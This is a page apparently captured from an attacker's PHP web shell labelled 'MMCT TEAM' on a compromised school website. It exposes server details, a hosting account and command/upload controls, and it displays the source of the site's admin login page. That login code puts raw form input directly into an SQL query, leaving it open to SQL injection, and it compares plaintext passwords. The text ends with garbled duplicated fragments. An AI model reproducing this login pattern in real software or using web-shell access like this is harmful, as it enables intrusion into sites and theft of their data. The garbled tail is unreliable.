MMCT TEAM
Server IP : 2a02:4780:3:1378:0:3736:a38e:10  /  Your IP : 3.131.95.159
Web Server : LiteSpeed
System : Linux sg-nme-web1278.main-hosting.eu 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : u926327694 ( 926327694)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u926327694/domains/svschool.in/public_html/adminweb/uploads/../

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u926327694/domains/svschool.in/public_html/adminweb/uploads/../rdk.rdk
<?php include 'db.php'; ?>
<!DOCTYPE html>
<html lang="en">
<head>
     <meta name="robots" content="noindex, nofollow">

  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <title>Admin | Login</title>
  <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Source+Sans+Pro:300,400,400i,700&display=fallback">
  <link rel="stylesheet" href="../../plugins/fontawesome-free/css/all.min.css">
  <link rel="stylesheet" href="../../plugins/icheck-bootstrap/icheck-bootstrap.min.css">
  <link rel="stylesheet" href="dist/css/adminlte.min.css">
</head>
<body class="hold-transition login-page">
  <div class="login-box">
    <div class="card card-outline card-primary">
      <div class="card-header text-center">
        <a href="index.php" class="h1"><?php echo $website_details['website_name']; ?></a>
      </div>
      <div class="card-body">
        <?php
        if(isset($_SESSION['login_error']))
        {
          ?>
          <div class="alert alert-danger alert-dismissible fade show" role="alert">
            <strong>Error </strong> <?php echo $_SESSION['login_error']; ?>
            <button type="button" class="close" data-dismiss="alert" aria-label="Close">
              <span aria-hidden="true">&times;</span>
            </button>
          </div>
          <?php
          unset($_SESSION['login_error']);
        }
        ?>
        <p class="login-box-msg">Sign in to manage your data</p>
        <form action="" method="post">
          <div class="input-group mb-3">
            <input type="text" class="form-control" placeholder="Username" name="username">
            <div class="input-group-append">
              <div class="input-group-text">
                <span class="fas fa-envelope"></span>
              </div>
            </div>
          </div>
          <div class="input-group mb-3">
            <input type="password" class="form-control" placeholder="Password" name="password">
            <div class="input-group-append">
              <div class="input-group-text">
                <span class="fas fa-lock"></span>
              </div>
            </div>
          </div>
          <div class="row">
            <div class="col-8">
            </div>
            <div class="col-4">
              <button type="submit" class="btn btn-primary btn-block" name="btnLogin">Sign In</button>
            </div>
          </div>
        </form>
      </div>
    </div>
  </div>
  <script src="../../plugins/jquery/jquery.min.js"></script>
  <script src="../../plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
  <script src="dist/js/adminlte.min.js"></script>
</body>
</html>
<?php
if(isset($_POST['btnLogin']))
{
  $username=$_POST['username'];
  $password=$_POST['password'];

  $check_login=mysqli_query($con,"select * from users where username='$username' and password='$password'");
  if(mysqli_num_rows($check_login)>0)
  {
    $_SESSION['username']=$username;
    echo"<script>window.location='dashboard.php';</script>";
  }
  else
  {
    $_SESSION['login_error'] = 'Invalid username and password...';
    echo"<script>window.location='index.php';</script>";
  }
}
?>ript>";
  }
}
?>

MMCT - 2023